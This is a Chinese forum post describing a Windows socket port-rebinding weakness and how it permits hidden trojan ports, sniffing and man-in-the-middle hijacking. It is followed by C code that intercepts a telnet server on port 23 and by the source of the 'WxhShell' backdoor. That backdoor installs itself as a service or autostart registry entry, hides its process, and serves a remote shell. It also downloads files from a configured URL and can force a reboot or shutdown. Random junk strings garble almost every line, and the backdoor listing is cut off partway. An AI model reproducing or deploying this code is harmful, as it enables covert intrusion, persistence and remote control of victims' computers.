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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Sa0IRC<LV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SGba6b31  
p#-=mXE/2  
  saddr.sin_family = AF_INET; mAY/J0_  
>j*0fb!:]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s{{8!Q  
r dtzz#7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~66v.`K!  
A f!`7l-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?^MH:o  
]YfG`0eK<  
  这意味着什么?意味着可以进行如下的攻击: ZX.,<vumSy  
%++S;#)~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Da!vGr  
qs= i+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gg8)oc+w  
y4aT-^C'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .j"heYF)  
x\yr~$}(J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;]=@;? 9  
o4@d,uIw^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iT s" RW  
:#_k`{WG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u,}>I%21  
DMs8B&Y=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9 C{Xpu  
l@u  "iGw  
  #include Pth4_]US  
  #include x1STjI>i  
  #include $}5M`p\&C  
  #include    oHp"\Z&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /v| b]Ji  
  int main() lw?C:-m  
  { E[=&6T4  
  WORD wVersionRequested; w(X}  
  DWORD ret; ~m0=YAlk?  
  WSADATA wsaData; k>8OxpaWv?  
  BOOL val; "LW\osjen  
  SOCKADDR_IN saddr; KL9JA; "  
  SOCKADDR_IN scaddr; yB=R7E7  
  int err; 2 n2,MB  
  SOCKET s; w40*vBz  
  SOCKET sc; B|+% ExT7  
  int caddsize; yd'cLZd<}  
  HANDLE mt; B# .xs>{N  
  DWORD tid;   M?hPlo"_  
  wVersionRequested = MAKEWORD( 2, 2 ); K`ygW|?gt  
  err = WSAStartup( wVersionRequested, &wsaData ); LWSy"Cs*  
  if ( err != 0 ) { {{[@ X  
  printf("error!WSAStartup failed!\n"); z|Xt'?9&n  
  return -1; !=yO72dgLY  
  } )te_ <W  
  saddr.sin_family = AF_INET; UfV { m  
   QwF.c28[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p]Qe5@NT  
V~5vR`}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CDW| cr{  
  saddr.sin_port = htons(23); 7~ZG"^k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qy=tkCN  
  { fIatp  
  printf("error!socket failed!\n"); 1DL+=-  
  return -1; cXN0D\%`  
  } ;j(*:Nt1  
  val = TRUE; l^o>7 cM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6z/&j} (  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i=M[$   
  { f(K1 ,L:&7  
  printf("error!setsockopt failed!\n"); ;ByCtVm2  
  return -1; O8rd*+  
  } |Xd& aQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sk0/3X*Q%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P9Eh, j0_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3+:NX6Ewb*  
RC8-6s& ln  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sk~7"v{Y.  
  {  :J)^gc  
  ret=GetLastError(); FT}^Fi7  
  printf("error!bind failed!\n"); QV*la=j/  
  return -1; 0TICv2l!  
  } ^{++h?cS)  
  listen(s,2); e(`r"RrQ  
  while(1) U~c9PqjZ  
  { R iV]SgV 9  
  caddsize = sizeof(scaddr); F^TOLwix  
  //接受连接请求 G4#Yz6O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -~lrv#5Q  
  if(sc!=INVALID_SOCKET) !VrBoU4<d  
  { !}1l8Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y] Cx[  
  if(mt==NULL) =FFs8&PKys  
  { o$*DFvk  
  printf("Thread Creat Failed!\n"); ^BI&-bR@  
  break; 9+5F(pd(  
  } ]x3 )OjH  
  } 0&r}'f ?  
  CloseHandle(mt); XoMgb DC  
  } HBk5 p>&  
  closesocket(s); Z vyF"4QN  
  WSACleanup(); *0'{ n*>  
  return 0; *S4&V<W>  
  }   6+PP(>em  
  DWORD WINAPI ClientThread(LPVOID lpParam) +l7Bu}_?  
  { -ucR@P]  
  SOCKET ss = (SOCKET)lpParam; a{?>F&vnU  
  SOCKET sc; TFhYu  
  unsigned char buf[4096]; )_kEy>YscZ  
  SOCKADDR_IN saddr; 8@T0]vH&  
  long num; G~Y#l@8M+  
  DWORD val; f\~w!-  
  DWORD ret; xu;^F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PM {L}tEQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :X*uE^bH  
  saddr.sin_family = AF_INET; : R8+jO   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y92<(ziaX)  
  saddr.sin_port = htons(23); >4#\ U!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `0{qfms  
  { U?(,Z$:N  
  printf("error!socket failed!\n"); /`O'eH  
  return -1; 5=4-IO6W[]  
  } n4ti{-^4|d  
  val = 100; 3|Ar~_]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =)]RD%Oq  
  { 91#n Aj%  
  ret = GetLastError(); %]O #t<D  
  return -1; ]7h;MR  
  } !W=2ZlzS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vha@YPC=  
  { A {')  
  ret = GetLastError(); , -Lv3  
  return -1; |:SXN4';?  
  } mFIIqkUAL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Uf$IH!5;Z  
  { ?/p."N:]H  
  printf("error!socket connect failed!\n"); a1weTn*  
  closesocket(sc); QkO4Td<  
  closesocket(ss); #P1 ;*m  
  return -1; |C t Q  
  } ):Ekf2  
  while(1) s: MJ{r(s  
  { TR{dNO!q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MpJx>0j/J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [@s5v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B_.>Q8tK;  
  num = recv(ss,buf,4096,0); / pR,l5  
  if(num>0) +,9Mufh  
  send(sc,buf,num,0); '9|R7  
  else if(num==0) ZJ_P=  
  break; b55G1w  
  num = recv(sc,buf,4096,0); HL!"U (_  
  if(num>0) D/WzYc2h]  
  send(ss,buf,num,0); GuJIN"P]  
  else if(num==0) .q$/#hN:e  
  break; v/wR) 9  
  } 061f  
  closesocket(ss); I,lzyxRP  
  closesocket(sc); @;d7#!:cE  
  return 0 ; Je` w/Hl/U  
  } iWn7vv/t  
0+S'i82=M  
F=kiYa}  
========================================================== sZU Ao&  
[dXRord  
下边附上一个代码,,WXhSHELL ]}A yDy6C  
I~c}&'V  
========================================================== e?-LB  
]PXpzruy  
#include "stdafx.h" 2{#=Ygb0  
Wy$Q!R=i  
#include <stdio.h> 7jF2m'(  
#include <string.h> 2?owXcbx  
#include <windows.h> &44?k:  
#include <winsock2.h> !myF_cv}'  
#include <winsvc.h> fP1fm  
#include <urlmon.h> `3F/7$q_  
;V1e>?3  
#pragma comment (lib, "Ws2_32.lib") %!)Dk<  
#pragma comment (lib, "urlmon.lib") DZ|/#- k  
. J*2J(T,  
#define MAX_USER   100 // 最大客户端连接数 N" oJ3-~  
#define BUF_SOCK   200 // sock buffer DzCb'#   
#define KEY_BUFF   255 // 输入 buffer ymyk.#Z<%  
|n&EbOmgf  
#define REBOOT     0   // 重启 F ?TmOa0  
#define SHUTDOWN   1   // 关机 6~q"#94  
2VS#=i(B^  
#define DEF_PORT   5000 // 监听端口 *|:]("i  
ia /_61%  
#define REG_LEN     16   // 注册表键长度 q]t^6m&-  
#define SVC_LEN     80   // NT服务名长度 !GVxQll[f  
1Aa=&B2  
// 从dll定义API 8f|+045E@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MT@Uu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SkA"MhX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 93#wU})  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iD9hqiX&  
 WR"p2=  
// wxhshell配置信息 x68s$H  
struct WSCFG { [p_C?hHO  
  int ws_port;         // 监听端口 (*YENT}  
  char ws_passstr[REG_LEN]; // 口令 bjq2XP?LL  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mxe  
  char ws_regname[REG_LEN]; // 注册表键名 %5H>tG`]   
  char ws_svcname[REG_LEN]; // 服务名 YY<e]CriU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]qc2jut"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b; 4;WtBO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @;z}Hk0A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cb~m==G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \>-%OcYlM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RpY#_\^hI  
jDc5p3D&[]  
}; x;R9Gc[5  
<$ Ar*<,6  
// default Wxhshell configuration ub] w"N  
struct WSCFG wscfg={DEF_PORT, V]9 ?9-r  
    "xuhuanlingzhe", 3bPvL/\Lb  
    1, ~UJ_Rr54  
    "Wxhshell", o,RLaS,BK'  
    "Wxhshell", lq!l{[Xp  
            "WxhShell Service", ffYiu4$m  
    "Wrsky Windows CmdShell Service", ) 4'@=q  
    "Please Input Your Password: ", /1lUFL2D  
  1, g@lAk%V4  
  "http://www.wrsky.com/wxhshell.exe", /P|jHK|{  
  "Wxhshell.exe" RA+k/2]y!  
    }; "$BWP  
0qV!-i  
// 消息定义模块 "GofQ5,|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8~|PZ,oZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W;C41>^?/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ",T-'>h$2R  
char *msg_ws_ext="\n\rExit."; KmkPq]  
char *msg_ws_end="\n\rQuit."; ToVm]zPOUt  
char *msg_ws_boot="\n\rReboot..."; @YTZnGG*  
char *msg_ws_poff="\n\rShutdown..."; Io&F0~Z;;(  
char *msg_ws_down="\n\rSave to "; j7 D\O  
A3N<;OOk  
char *msg_ws_err="\n\rErr!"; !(Y23w*  
char *msg_ws_ok="\n\rOK!"; #X"eg  
[nlW}1)46  
char ExeFile[MAX_PATH]; Tce2]"^;  
int nUser = 0; VscEdtkd  
HANDLE handles[MAX_USER]; fW4N+2  
int OsIsNt; qyuU  
`=Hh5;ep  
SERVICE_STATUS       serviceStatus; y85/qg) H^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >2~q{e  
?J~(qaa;  
// 函数声明 OE/O:F:1j  
int Install(void); 3say&|kJ  
int Uninstall(void); ~$i36"  
int DownloadFile(char *sURL, SOCKET wsh); 7 0:a2m  
int Boot(int flag); ?c^0%Op  
void HideProc(void); eg-,;X#  
int GetOsVer(void); eJ#q! <   
int Wxhshell(SOCKET wsl); l7P~_X_)"  
void TalkWithClient(void *cs); i4N '[ P}  
int CmdShell(SOCKET sock); dg 4 QA_"  
int StartFromService(void); :- ydsR/  
int StartWxhshell(LPSTR lpCmdLine); ;Z"6ve4  
;p#)z/zZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >LwZ"IE V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NQ!jkojD  
nrMm](Y45  
// 数据结构和表定义 gX34'<Z  
SERVICE_TABLE_ENTRY DispatchTable[] = }cG!93  
{ 7!`,P  
{wscfg.ws_svcname, NTServiceMain}, =?3D:k7z  
{NULL, NULL} Nd*zSsVlq  
}; A|8(3PiP  
8hi|F\$_h  
// 自我安装 o+(.Pb  
int Install(void) _{6QvD3kg.  
{ X/TuiKe  
  char svExeFile[MAX_PATH]; r"a0!]n  
  HKEY key; W^q;=D6uh  
  strcpy(svExeFile,ExeFile); n8[ sl]L  
'kK}9VKl  
// 如果是win9x系统,修改注册表设为自启动 )sVz;rF<  
if(!OsIsNt) { <w.W[ak  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V 3-5:z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @U(D&_H,K  
  RegCloseKey(key); C-$S]6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1 {dhGX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ajW[}/)  
  RegCloseKey(key); 0*q&)  
  return 0; A\_cGM2  
    } 2hl'mRW  
  } XU .FLNe  
} t+5JIQY>  
else { `Xnu("w)  
C9U~lcIS  
// 如果是NT以上系统,安装为系统服务 Cw`v\ 9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E3y"  
if (schSCManager!=0) g&H6~ +\  
{ ewSFB< N  
  SC_HANDLE schService = CreateService 1j<=TWit  
  ( w9h\J#f  
  schSCManager, t7("geN]  
  wscfg.ws_svcname, }N1Z7G  
  wscfg.ws_svcdisp, jx&pRjP  
  SERVICE_ALL_ACCESS, ]C-hl}iq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *?K3jy{  
  SERVICE_AUTO_START, hp!UW  
  SERVICE_ERROR_NORMAL, )W~w72j-  
  svExeFile, VC\43A,9  
  NULL, O/>$kG%ge  
  NULL, AS[cz! >  
  NULL, T+m`a #  
  NULL, pIk&NI  
  NULL <1Vz QH!o  
  ); 1_THBL26d  
  if (schService!=0) %< JjftNQ  
  { 4,T!zT6&  
  CloseServiceHandle(schService); E@aR5S>  
  CloseServiceHandle(schSCManager); e;R5A6|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RZ9vQ\X U)  
  strcat(svExeFile,wscfg.ws_svcname); 7E4=\vM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vAi kd#C)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T@uY6))>F  
  RegCloseKey(key); Nrva?W_i  
  return 0; Iw8;",e2  
    } tB4- of3+  
  } Iu^# +n  
  CloseServiceHandle(schSCManager); k`6T% [D]  
} BCk$FM@  
} iVzv/Lqm1  
nk]jIR y^T  
return 1; Z +@"  
} r>sk@[4h  
@!&\Z[",  
// 自我卸载 Z}TuVE  
int Uninstall(void) <P7f\$o~  
{ &C<B=T"I  
  HKEY key; {e A4y~k  
cOth q87:  
if(!OsIsNt) { a1]k(AuQrC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &96I4su  
  RegDeleteValue(key,wscfg.ws_regname); -kxNJ Gc?  
  RegCloseKey(key);  d>}pz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W`K XO|'p@  
  RegDeleteValue(key,wscfg.ws_regname); r}MXXn,f  
  RegCloseKey(key); gR"'|c   
  return 0; bWo-( qxq  
  } Zh]d&Xeq  
} Glcl7f"<^  
} &xMR{:  
else { [S9T@Q  
qi_[@da f?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {BKu'A  
if (schSCManager!=0) 33DP0OBL^  
{ ZFNM>C^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2j` x^  
  if (schService!=0) DTk)Y-eQ  
  { \T'uFy9&a  
  if(DeleteService(schService)!=0) { 4:=']C  
  CloseServiceHandle(schService); h}i /u  
  CloseServiceHandle(schSCManager); >nkd U  
  return 0; ^[Cpu_]D  
  } R_:47.qq  
  CloseServiceHandle(schService); UP}Y s*  
  } <Vm+Lt9  
  CloseServiceHandle(schSCManager); 2?58=i%b  
} r.0IC*Y  
} Q\ TawRK8  
/<vbv  
return 1; %*lOzC  
} T~7i:<E^  
7R[4XQ%  
// 从指定url下载文件 nellN}jYsM  
int DownloadFile(char *sURL, SOCKET wsh) ByoSwQ  
{ -$J\BkI  
  HRESULT hr; #"fBF/Q  
char seps[]= "/"; N%%2!Z#  
char *token; mBSa*s)  
char *file; W# E`h  
char myURL[MAX_PATH]; *P_(hG&c  
char myFILE[MAX_PATH]; j|TcmZGO  
kB {  
strcpy(myURL,sURL); o8.KakrPP  
  token=strtok(myURL,seps); 0m $f9b|Q?  
  while(token!=NULL) ^A dHP!I  
  { O%;H#3kn&s  
    file=token; 4eK!1|1  
  token=strtok(NULL,seps); F0W4B  
  } S:4'k^E  
,3 &XV%1  
GetCurrentDirectory(MAX_PATH,myFILE); lfp[(Ph)9  
strcat(myFILE, "\\"); &[$qA  
strcat(myFILE, file); eRc+.m[  
  send(wsh,myFILE,strlen(myFILE),0); Qyvn A|&  
send(wsh,"...",3,0); G?CaCleG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q,3_)ZOq  
  if(hr==S_OK) |9T3" _MmJ  
return 0; nfET;:{  
else bhDV U(%I6  
return 1; ma[%,u`  
O*xC}$OOn  
} qPGpN0M`  
 P&"8R  
// 系统电源模块 hJ$o+sl  
int Boot(int flag) !|;^  
{ 6MQ+![fN  
  HANDLE hToken; gR}> q4b  
  TOKEN_PRIVILEGES tkp; $#4Qv5}  
JpqZVu"7  
  if(OsIsNt) { 8\HL8^6c5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :so2 {.t-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jn3cU  
    tkp.PrivilegeCount = 1; ;[TC`DuNj0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "<ua G?:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iq2)oC_  
if(flag==REBOOT) { $51M' Qu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6t/nM  
  return 0; / RU'~(  
} qpzzk9ba[  
else { GSo&$T;B6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2(M^8Bl  
  return 0; S`g:z b_  
} d5h]yIz^  
  } 3<.]+ukm  
  else { (?R;u>  
if(flag==REBOOT) { )@+lfIE(l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q-kMqnQ  
  return 0; Syv[ [Ek  
} Otq`45  
else { z-};.!L^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6Y?%G>$6  
  return 0; +c;/hM<IX.  
} ^*JpdmVhu  
} n${,r  
-5;Kyio  
return 1; ; ^+#  
} 8>^(-ca_  
C><]o  
// win9x进程隐藏模块 -(*<2Hy4  
void HideProc(void) eS)2#=  
{ uG<VQ2LM  
W*?mc2;/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Tj5G /H>   
  if ( hKernel != NULL ) Z3jh-{0  
  { }*eiG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vxuxfi8x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !R p  
    FreeLibrary(hKernel); W=b<"z]RE  
  } _ nFsC  
\i1>/`F  
return; lS1-e0,h1  
} $7M/rF;N5X  
L(Ww6oj  
// 获取操作系统版本 O`Ht|@[6  
int GetOsVer(void) 7 0pt5O3]  
{ eyq\a'tyB  
  OSVERSIONINFO winfo; YbCqZqk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ">pW:apl%  
  GetVersionEx(&winfo); BCnf'0q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F>N3GPRl  
  return 1; &G63ReW7 @  
  else x1H?e8  
  return 0; MtE18m "z  
} 9gjI;*(z1  
BC!n;IAe  
// 客户端句柄模块 WKVoqp}  
int Wxhshell(SOCKET wsl) zx)^!dEMM  
{ [t)omPy<c  
  SOCKET wsh; W5'07N^  
  struct sockaddr_in client; 6 0C;J!D  
  DWORD myID; Q2^~^'Y k  
YA(_*h  
  while(nUser<MAX_USER) <(|No3jx  
{ }m '= _u  
  int nSize=sizeof(client); oh%kuO T[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $E=t6WvA  
  if(wsh==INVALID_SOCKET) return 1; P "S=RX#+  
x0t&hY>P!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [s1Hd~$  
if(handles[nUser]==0) >| d^  
  closesocket(wsh); VyRU_<xP  
else ZHPsGHA  
  nUser++; TTNgnP  
  } -KzU''  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /cmnX'z  
G`!ff  
  return 0; _W@SCV)yH  
} 7lP3\7wD@9  
3,`.$   
// 关闭 socket ,.# SEv5  
void CloseIt(SOCKET wsh) JGmW>mH  
{ M :m-iX  
closesocket(wsh); `b(y 5Z  
nUser--; !83x,*O  
ExitThread(0); q;I`&JK  
} sy^k:y?  
8mjP2  
// 客户端请求句柄 iU)-YFO  
void TalkWithClient(void *cs) D+ki2UVt&  
{ NW-l_]k  
bYzBe\^3q3  
  SOCKET wsh=(SOCKET)cs; {d|R67~V  
  char pwd[SVC_LEN]; # Sm M5%  
  char cmd[KEY_BUFF]; U3ygFW%  
char chr[1]; 3J\NkaSR  
int i,j; ^RN1?dXA  
7ko7)"N  
  while (nUser < MAX_USER) { *%0f^~!G<p  
A<6V$e$:2  
if(wscfg.ws_passstr) { H>AzxhX[n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kvU0$1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?$O5w*  
  //ZeroMemory(pwd,KEY_BUFF); ~;ink   
      i=0; Ru%: z>Y  
  while(i<SVC_LEN) { K;2]c3T  
^$][ah  
  // 设置超时 0m5Q;|mH  
  fd_set FdRead; -25#Vh  
  struct timeval TimeOut; d6lhA7  
  FD_ZERO(&FdRead); eO,  
  FD_SET(wsh,&FdRead); /)8 0@  
  TimeOut.tv_sec=8; ] =Js5  
  TimeOut.tv_usec=0; `I$qMw,@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;qI5GQ {  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l+'1>T.I  
k&nhF9Y4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ Ko0  
  pwd=chr[0]; Xco$ yF%  
  if(chr[0]==0xd || chr[0]==0xa) { Tb-`0^y&X1  
  pwd=0; 'e6 W$?z  
  break; y)3(  
  } MDkIaz\U  
  i++; }9C5U>?  
    } "X']_:F1a  
9X&Xs/B  
  // 如果是非法用户,关闭 socket >/"XX,3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %EPqJ(T  
} ~qNpPIrGr  
(l 2 2p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /p,D01Ws}(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` w Sg/  
>qA5   
while(1) { d9/E^)TT  
 w'=#7$N  
  ZeroMemory(cmd,KEY_BUFF); Fqzk/m  
JxQwxey{  
      // 自动支持客户端 telnet标准   *jWU8.W  
  j=0; PF.sM(  
  while(j<KEY_BUFF) { ~H0~5v F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #e%.z+7I  
  cmd[j]=chr[0]; aMTY{  
  if(chr[0]==0xa || chr[0]==0xd) { ]P0DPea  
  cmd[j]=0; C# r_qn  
  break; tC+9W1o  
  } b* Ipg8n+  
  j++; .<Z7 K @  
    } i7~oZ)w  
ej,MmLu~^  
  // 下载文件 NrvS/ cI!t  
  if(strstr(cmd,"http://")) { cFLu+4.jsG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cu({%Gy+  
  if(DownloadFile(cmd,wsh)) ^JtGT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Z^7=5K"O  
  else c : *wev  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZP)=2'RY  
  } dh/:H/k kR  
  else { (Cp:NS  
HZQI|  
    switch(cmd[0]) { }jd[>zk  
  eEsEW<su  
  // 帮助 i/xPO  
  case '?': { HqgTu`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nGW wXySq  
    break; if5Y!Tx?G  
  } z@y* jT  
  // 安装 $#4z>~0  
  case 'i': { [v-?MS  
    if(Install()) 17D167\X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }sy3M rb  
    else LWbWj ^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MC#bo{Bq3-  
    break; gb(\c:yg1R  
    } v03~=(  
  // 卸载  v )7d  
  case 'r': { (I.uQP~H  
    if(Uninstall()) Cu;X{F'H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `j>qOT  
    else <O$'3 _S"D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l%Sz6  
    break; glHag"(  
    } wX 41R]pF  
  // 显示 wxhshell 所在路径 6X|KKsPzX  
  case 'p': { $ O!f*lG  
    char svExeFile[MAX_PATH]; mKpUEJ<a  
    strcpy(svExeFile,"\n\r"); k5-mK{RZ  
      strcat(svExeFile,ExeFile); -I=}SZ  
        send(wsh,svExeFile,strlen(svExeFile),0); ">fgoDQ  
    break; XQ(`8Jl&^  
    } rvE!Q=y~  
  // 重启 >^J!Z~;L)  
  case 'b': { oU~V0{7g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '%RMpyK~  
    if(Boot(REBOOT)) 1rPeh{SZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^DZiz[X+|  
    else { ;8 McG83  
    closesocket(wsh); PLLlo~Bb  
    ExitThread(0); >4EcV1y  
    } |P?8<8p  
    break; wuYo@DDU#  
    } q/OraPAB  
  // 关机 cJ8*[H<NV  
  case 'd': { xC;$/u%'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N[pk@M\vX  
    if(Boot(SHUTDOWN)) tW=0AtZl]  
